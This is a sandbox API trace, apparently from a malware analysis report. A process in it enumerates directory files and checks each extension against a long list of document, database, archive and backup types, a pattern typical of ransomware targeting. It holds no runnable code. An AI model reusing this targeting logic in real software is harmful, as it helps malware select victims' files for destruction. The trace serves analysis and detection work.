lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.887] lstrlenW (lpString=".3ds") returned 4 [0255.887] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0255.887] lstrlenW (lpString=".3fr") returned 4 [0255.887] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0255.887] lstrlenW (lpString=".3g2") returned 4 [0255.887] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0255.887] lstrlenW (lpString=".3gp") returned 4 [0255.887] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0255.888] lstrlenW (lpString=".7z") returned 3 [0255.888] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.888] lstrlenW (lpString=".accda") returned 6 [0255.888] lstrcmpiW (lpString1=".accda", lpString2="FF.GIF") returned -1 [0255.888] lstrlenW (lpString=".accdb") returned 6 [0255.888] lstrcmpiW (lpString1=".accdb", lpString2="FF.GIF") returned -1 [0255.888] lstrlenW (lpString=".accdc") returned 6 [0255.888] lstrcmpiW (lpString1=".accdc", lpString2="FF.GIF") returned -1 [0255.888] lstrlenW (lpString=".accde") returned 6 [0255.888] lstrcmpiW (lpString1=".accde", lpString2="FF.GIF") returned -1 [0255.888] lstrlenW (lpString=".accdt") returned 6 [0255.888] lstrcmpiW (lpString1=".accdt", lpString2="FF.GIF") returned -1 [0255.888] lstrlenW (lpString=".accdw") returned 6 [0255.888] lstrcmpiW (lpString1=".accdw", lpString2="FF.GIF") returned -1 [0255.888] lstrlenW (lpString=".adb") returned 4 [0255.888] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0255.888] lstrlenW (lpString=".adp") returned 4 [0255.889] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0255.889] lstrlenW (lpString=".ai") returned 3 [0255.889] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0255.889] lstrlenW (lpString=".ai3") returned 4 [0255.889] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0255.889] lstrlenW (lpString=".ai4") returned 4 [0255.889] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0255.889] lstrlenW (lpString=".ai5") returned 4 [0255.889] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0255.889] lstrlenW (lpString=".ai6") returned 4 [0255.889] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0255.890] lstrlenW (lpString=".ai7") returned 4 [0255.890] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0255.890] lstrlenW (lpString=".ai8") returned 4 [0255.890] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0255.890] lstrlenW (lpString=".anim") returned 5 [0255.890] lstrcmpiW (lpString1=".anim", lpString2="F.GIF") returned -1 [0255.890] lstrlenW (lpString=".arw") returned 4 [0255.890] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0255.890] lstrlenW (lpString=".as") returned 3 [0255.890] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0255.891] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0264.850] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0264.983] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.984] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0264.995] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.995] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0264.999] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.999] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.008] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.008] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0265.010] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.011] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.118] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.118] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0265.557] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.558] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0265.573] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.574] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0265.580] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.580] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.591] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.591] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="ACCESS~1.SKY")) returned 1 [0265.594] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.594] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.807] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.830] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0265.839] lstrlenW (lpString="Accessibility.SLV") returned 17 [0265.839] lstrlenW (lpString=".1cd") returned 4 [0265.839] lstrcmpiW (lpString1=".1cd", lpString2=".SLV") returned -1 [0265.840] lstrlenW (lpString=".3ds") returned 4 [0265.840] lstrcmpiW (lpString1=".3ds", lpString2=".SLV") returned -1 [0265.840] lstrlenW (lpString=".3fr") returned 4 [0265.840] lstrcmpiW (lpString1=".3fr", lpString2=".SLV") returned -1 [0265.840] lstrlenW (lpString=".3g2") returned 4 [0265.840] lstrcmpiW (lpString1=".3g2", lpString2=".SLV") returned -1 [0265.840] lstrlenW (lpString=".3gp") returned 4 [0265.840] lstrcmpiW (lpString1=".3gp", lpString2=".SLV") returned -1 [0265.840] lstrlenW (lpString=".7z") returned 3 [0265.840] lstrcmpiW (lpString1=".7z", lpString2="SLV") returned -1 [0265.840] lstrlenW (lpString=".accda") returned 6 [0265.840] lstrcmpiW (lpString1=".accda", lpString2="ty.SLV") returned -1 [0265.840] lstrlenW (lpString=".accdb") returned 6 [0265.840] lstrcmpiW (lpString1=".accdb", lpString2="ty.SLV") returned -1 [0265.840] lstrlenW (lpString=".accdc") returned 6 [0265.841] lstrcmpiW (lpString1=".accdc", lpString2="ty.SLV") returned -1 [0265.841] lstrlenW (lpString=".accde") returned 6 [0265.841] lstrcmpiW (lpString1=".accde", lpString2="ty.SLV") returned -1 [0265.841] lstrlenW (lpString=".accdt") returned 6 [0265.841] lstrcmpiW (lpString1=".accdt", lpString2="ty.SLV") returned -1 [0265.841] lstrlenW (lpString=".accdw") returned 6 [0265.841] lstrcmpiW (lpString1=".accdw", lpString2="ty.SLV") returned -1 [0265.841] lstrlenW (lpString=".adb") returned 4 [0265.841] lstrcmpiW (lpString1=".adb", lpString2=".SLV") returned -1 [0265.841] lstrlenW (lpString=".adp") returned 4 [0265.841] lstrcmpiW (lpString1=".adp", lpString2=".SLV") returned -1 [0265.841] lstrlenW (lpString=".ai") returned 3 [0265.841] lstrcmpiW (lpString1=".ai", lpString2="SLV") returned -1 [0265.841] lstrlenW (lpString=".ai3") returned 4 [0265.842] lstrcmpiW (lpString1=".ai3", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".ai4") returned 4 [0265.842] lstrcmpiW (lpString1=".ai4", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".ai5") returned 4 [0265.842] lstrcmpiW (lpString1=".ai5", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".ai6") returned 4 [0265.842] lstrcmpiW (lpString1=".ai6", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".ai7") returned 4 [0265.842] lstrcmpiW (lpString1=".ai7", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".ai8") returned 4 [0265.842] lstrcmpiW (lpString1=".ai8", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".anim") returned 5 [0265.842] lstrcmpiW (lpString1=".anim", lpString2="y.SLV") returned -1 [0265.842] lstrlenW (lpString=".arw") returned 4 [0265.842] lstrcmpiW (lpString1=".arw", lpString2=".SLV") returned -1 [0265.842] lstrlenW (lpString=".as") returned 3 [0265.843] lstrcmpiW (lpString1=".as", lpString2="SLV") returned -1 [0265.843] lstrlenW (lpString=".asa") returned 4 [0265.843] lstrcmpiW (lpString1=".asa", lpString2=".SLV") returned -1 [0265.843] lstrlenW (lpString=".asc") returned 4 [0265.843] lstrcmpiW (lpString1=".asc", lpString2=".SLV") returned -1 [0265.843] lstrlenW (lpString=".ascx") returned 5 [0265.843] lstrcmpiW (lpString1=".ascx", lpString2="y.SLV") returned -1 [0265.843] lstrlenW (lpString=".asm") returned 4 [0265.843] lstrcmpiW (lpString1=".asm", lpString2=".SLV") returned -1 [0265.843] lstrlenW (lpString=".asmx") returned 5 [0265.843] lstrcmpiW (lpString1=".asmx", lpString2="y.SLV") returned -1 [0265.843] lstrlenW (lpString=".asp") returned 4 [0265.843] lstrcmpiW (lpString1=".asp", lpString2=".SLV") returned -1 [0265.843] lstrlenW (lpString=".aspx") returned 5 [0265.843] lstrcmpiW (lpString1=".aspx", lpString2="y.SLV") returned -1 [0265.843] lstrlenW (lpString=".asr") returned 4 [0265.844] lstrcmpiW (lpString1=".asr", lpString2=".SLV") returned -1 [0265.844] lstrlenW (lpString=".asx") returned 4 [0265.844] lstrcmpiW (lpString1=".asx", lpString2=".SLV") returned -1 [0265.844] lstrlenW (lpString=".avi") returned 4 [0265.844] lstrcmpiW (lpString1=".avi", lpString2=".SLV") returned -1 [0265.844] lstrlenW (lpString=".avs") returned 4 [0265.844] lstrcmpiW (lpString1=".avs", lpString2=".SLV") returned -1 [0265.844] lstrlenW (lpString=".backup") returned 7 [0265.844] lstrcmpiW (lpString1=".backup", lpString2="ity.SLV") returned -1 [0265.844] lstrlenW (lpString=".bak") returned 4 [0265.844] lstrcmpiW (lpString1=".bak", lpString2=".SLV") returned -1 [0265.844] lstrlenW (lpString=".bay") returned 4 [0265.844] lstrcmpiW (lpString1=".bay", lpString2=".SLV") returned -1 [0265.844] lstrlenW (lpString=".bd") returned 3 [0265.845] lstrcmpiW (lpString1=".bd", lpString2="SLV") returned -1 [0265.845] lstrlenW (lpString=".bin") returned 4 [0265.845] lstrcmpiW (lpString1=".bin", lpString2=".SLV") returned -1 [0265.845] lstrlenW (lpString=".bmp") returned 4 [0265.845] lstrcmpiW (lpString1=".bmp", lpString2=".SLV") returned -1 [0265.845] lstrlenW (lpString=".bz2") returned 4 [0265.845] lstrcmpiW (lpString1=".bz2", lpString2=".SLV") returned -1 [0265.845] lstrlenW (lpString=".c") returned 2 [0265.845] lstrcmpiW (lpString1=".c", lpString2="LV") returned -1 [0265.845] lstrlenW (lpString=".cdr") returned 4 [0265.845] lstrcmpiW (lpString1=".cdr", lpString2=".SLV") returned -1 [0265.845] lstrlenW (lpString=".cer") returned 4 [0265.845] lstrcmpiW (lpString1=".cer", lpString2=".SLV") returned -1 [0265.845] lstrlenW (lpString=".cf") returned 3 [0265.846] lstrcmpiW (lpString1=".cf", lpString2="SLV") returned -1 [0265.846] lstrlenW (lpString=".cfc") returned 4 [0265.846] lstrcmpiW (lpString1=".cfc", lpString2=".SLV") returned -1 [0265.846] lstrlenW (lpString=".cfm") returned 4 [0265.846] lstrcmpiW (lpString1=".cfm", lpString2=".SLV") returned -1 [0265.846] lstrlenW (lpString=".cfml") returned 5 [0265.846] lstrcmpiW (lpString1=".cfml", lpString2="y.SLV") returned -1 [0265.846] lstrlenW (lpString=".cfu") returned 4 [0265.846] lstrcmpiW (lpString1=".cfu", lpString2=".SLV") returned -1 [0265.846] lstrlenW (lpString=".chm") returned 4 [0265.846] lstrcmpiW (lpString1=".chm", lpString2=".SLV") returned -1 [0265.846] lstrlenW (lpString=".cin") returned 4 [0265.846] lstrcmpiW (lpString1=".cin", lpString2=".SLV") returned -1 [0265.846] lstrlenW (lpString=".class") returned 6 [0265.846] lstrcmpiW (lpString1=".class", lpString2="ty.SLV") returned -1 [0265.846] lstrlenW (lpString=".clx") returned 4 [0265.846] lstrcmpiW (lpString1=".clx", lpString2=".SLV") returned -1 [0265.847] lstrlenW (lpString=".config") returned 7 [0265.847] lstrcmpiW (lpString1=".config", lpString2="ity.SLV") returned -1 [0265.847] lstrlenW (lpString=".cpp") returned 4 [0265.847] lstrcmpiW (lpString1=".cpp", lpString2=".SLV") returned -1 [0265.847] lstrlenW (lpString=".cr2") returned 4 [0265.847] lstrcmpiW (lpString1=".cr2", lpString2=".SLV") returned -1 [0265.847] lstrlenW (lpString=".crt") returned 4 [0265.847] lstrcmpiW (lpString1=".crt", lpString2=".SLV") returned -1 [0265.847] lstrlenW (lpString=".crw") returned 4 [0265.847] lstrcmpiW (lpString1=".crw", lpString2=".SLV") returned -1 [0265.847] lstrlenW (lpString=".cs") returned 3 [0265.847] lstrcmpiW (lpString1=".cs", lpString2="SLV") returned -1 [0265.847] lstrlenW (lpString=".css") returned 4 [0265.847] lstrcmpiW (lpString1=".css", lpString2=".SLV") returned -1 [0265.848] lstrlenW (lpString=".csv") returned 4 [0265.848] lstrcmpiW (lpString1=".csv", lpString2=".SLV") returned -1 [0265.848] lstrlenW (lpString=".cub") returned 4 [0265.848] lstrcmpiW (lpString1=".cub", lpString2=".SLV") returned -1 [0265.848] lstrlenW (lpString=".dae") returned 4 [0265.848] lstrcmpiW (lpString1=".dae", lpString2=".SLV") returned -1 [0265.848] lstrlenW (lpString=".dat") returned 4 [0265.848] lstrcmpiW (lpString1=".dat", lpString2=".SLV") returned -1 [0265.848] lstrlenW (lpString=".db") returned 3 [0265.848] lstrcmpiW (lpString1=".db", lpString2="SLV") returned -1 [0265.848] lstrlenW (lpString=".dbf") returned 4 [0265.848] lstrcmpiW (lpString1=".dbf", lpString2=".SLV") returned -1 [0265.848] lstrlenW (lpString=".dbx") returned 4 [0265.849] lstrcmpiW (lpString1=".dbx", lpString2=".SLV") returned -1 [0265.849] lstrlenW (lpString=".dc3") returned 4 [0265.849] lstrcmpiW (lpString1=".dc3", lpString2=".SLV") returned -1 [0265.849] lstrlenW (lpString=".dcm") returned 4 [0265.849] lstrcmpiW (lpString1=".dcm", lpString2=".SLV") returned -1 [0265.849] lstrlenW (lpString=".dcr") returned 4 [0265.849] lstrcmpiW (lpString1=".dcr", lpString2=".SLV") returned -1 [0265.850] lstrlenW (lpString=".der") returned 4 [0265.850] lstrcmpiW (lpString1=".der", lpString2=".SLV") returned -1 [0265.850] lstrlenW (lpString=".dib") returned 4 [0265.850] lstrcmpiW (lpString1=".dib", lpString2=".SLV") returned -1 [0265.850] lstrlenW (lpString=".dic") returned 4 [0265.850] lstrcmpiW (lpString1=".dic", lpString2=".SLV") returned -1 [0265.850] lstrlenW (lpString=".dif") returned 4 [0265.850] lstrcmpiW (lpString1=".dif", lpString2=".SLV") returned -1 [0265.850] lstrlenW (lpString=".divx") returned 5 [0265.850] lstrcmpiW (lpString1=".divx", lpString2="y.SLV") returned -1 [0265.850] lstrlenW (lpString=".djvu") returned 5 [0265.850] lstrcmpiW (lpString1=".djvu", lpString2="y.SLV") returned -1 [0265.850] lstrlenW (lpString=".dng") returned 4 [0265.850] lstrcmpiW (lpString1=".dng", lpString2=".SLV") returned -1 [0265.851] lstrlenW (lpString=".doc") returned 4 [0265.851] lstrcmpiW (lpString1=".doc", lpString2=".SLV") returned -1 [0265.851] lstrlenW (lpString=".docm") returned 5 [0265.851] lstrcmpiW (lpString1=".docm", lpString2="y.SLV") returned -1 [0265.851] lstrlenW (lpString=".docx") returned 5 [0265.851] lstrcmpiW (lpString1=".docx", lpString2="y.SLV") returned -1 [0265.851] lstrlenW (lpString=".dot") returned 4 [0265.851] lstrcmpiW (lpString1=".dot", 